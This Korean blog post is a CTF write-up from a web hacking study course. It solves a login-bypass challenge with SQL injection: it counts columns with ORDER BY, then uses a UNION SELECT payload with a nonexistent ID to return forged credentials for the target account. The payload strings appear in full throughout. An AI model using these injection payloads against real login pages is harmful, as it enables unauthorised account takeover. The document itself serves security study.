🔓 [웹 해킹 스터디] Login Bypass 3: UNION으로 가짜 계정 생성하기
이번 Login Bypass 3 문제는 고민하느라 진짜, 진짜, 진짜 힘들었다... 🤯
단순한 참/거짓 논리(Boolean based)가 아니라, UNION을 이용해 데이터를 조작해야 풀리는 문제였기 때문이다. 그 삽질과 해결 과정을 정리해 본다.
목표: doldol / dol1234 계정을 가지고 normaltic3 계정으로 로그인 성공하기
1. 취약점 분석 및 로직 추론
먼저 ' and '1'='1 같은 기본 인젝션은 먹히는데, or '1'='1로 로그인이 우회되지는 않는다. 여기서 알 수 있는 사실은?
💡 식별과 인증의 분리
이 서버는SELECT * FROM member WHERE id='..' AND pw='..'처럼 한 번에 검사하는 게 아니다.
1. 식별: ID가 존재하는지 먼저 DB에서 찾고, 그 행(Row)의 정보를 가져온다.
2. 인증: 가져온 정보의 PW와 사용자가 입력한 PW를 애플리케이션 코드단에서 비교한다.
그렇다면 우리가 할 일은 "내 맘대로 조작된 ID/PW 세트를 DB에서 반환하게 만드는 것"이다. 이를 위해 UNION을 사용한다.
1-1. 컬럼 개수 파악 (ORDER BY)
UNION을 쓰려면 컬럼 개수를 맞춰야 한다.
doldol' order by 1 #-> 성공doldol' order by 2 #-> 성공doldol' order by 3 #-> 실패 (에러)
결론: 이 쿼리는 2개의 컬럼(아마도 id, pw)을 반환한다.
2. 공격 시나리오 설계
서버의 로직은 대략 이럴 것이다.
SELECT id, pw FROM member WHERE id='[입력값]'
우리가 UNION을 이용해 normaltic3와 비밀번호 1234를 반환하게 만들고, 실제 로그인 창 비밀번호 칸에 1234를 입력하면?
서버는 "어? DB에서 가져온 비번(1234)랑 입력한 비번(1234)가 같네?" 하고 로그인을 시켜줄 것이다.
시도 1: 존재하는 ID 사용 (실패)
doldol 계정을 이용해 시도해 보았다.
ID Payload:doldol' union select 'normaltic3', '1234' #
PW Input:1234
[DB 반환 결과]
| id | pw |
| doldol | dol1234 |
| normaltic3 | 1234 |
결과: 로그인 실패.
이유는 doldol이 실제로 존재하는 계정이라 첫 번째 줄에 잡히기 때문이다. 서버 코드는 보통 첫 번째 행(Row)만 가져와서 검증한다.
DB의 dol1234와 내가 입력한 1234가 다르므로 실패!
시도 2: 존재하지 않는 ID 사용 (성공!)
그렇다면 앞의 쿼리 결과가 없게(NULL) 만들면 된다. 존재하지 않는 ID(abcd)를 넣자.
ID Payload:abcd' union select 'normaltic3', '1234' #
PW Input:1234
[DB 반환 결과]
| id | pw |
| (abcd에 대한 결과 없음) | |
| normaltic3 | 1234 |
앞의 쿼리는 결과가 없으므로, UNION으로 합친 뒷부분(우리가 조작한 가짜 데이터)이 첫 번째 행이 된다.
서버는 DB 비번(1234) == 입력 비번(1234)를 확인하고 로그인을 시켜준다!


짜잔~ index로 보내주고 index 가보니 플래그 획득!!
3. 최종 정리
Login Bypass 3번의 핵심은 두 가지였다.
- 식별/인증 분리 파악: 단순 우회(OR)가 안 될 땐, DB에서 데이터를 가져와서 비교하는 로직임을 의심하자.
- UNION의 특성 활용: 앞의 쿼리를 거짓(존재하지 않는 값)으로 만들어야 뒤에 붙인 UNION 결과값이 유효한 데이터로 사용된다.
이 원리를 이해하니 abcd' union select 'normaltic3', '1q2w3e4r5t' # 처럼 비밀번호를 길게 설정해도 내 맘대로 로그인이 가능했다. 완벽하게 이해 완료! 😎
'해킹스터디' 카테고리의 다른 글
| [Normaltic 웹해킹 입문] 6주차 CTF 문제풀이 - Login Bypass(5), SQLi 1 (0) | 2025.11.27 |
|---|---|
| [Normaltic 웹해킹 입문] 6주차 CTF 문제풀이 - Login Bypass(4) (1) | 2025.11.27 |
| [Normaltic 웹해킹 입문] 6주차 복습(UNION을 이용한 SQLi) (0) | 2025.11.27 |
| [Normaltic 웹해킹 입문] 6주차 CTF 문제풀이 - Login Bypass(1~2) (1) | 2025.11.22 |
| [Normaltic 웹해킹 입문] 6주차 CTF 문제풀이 - Authentication Bypass (5) | 2025.11.22 |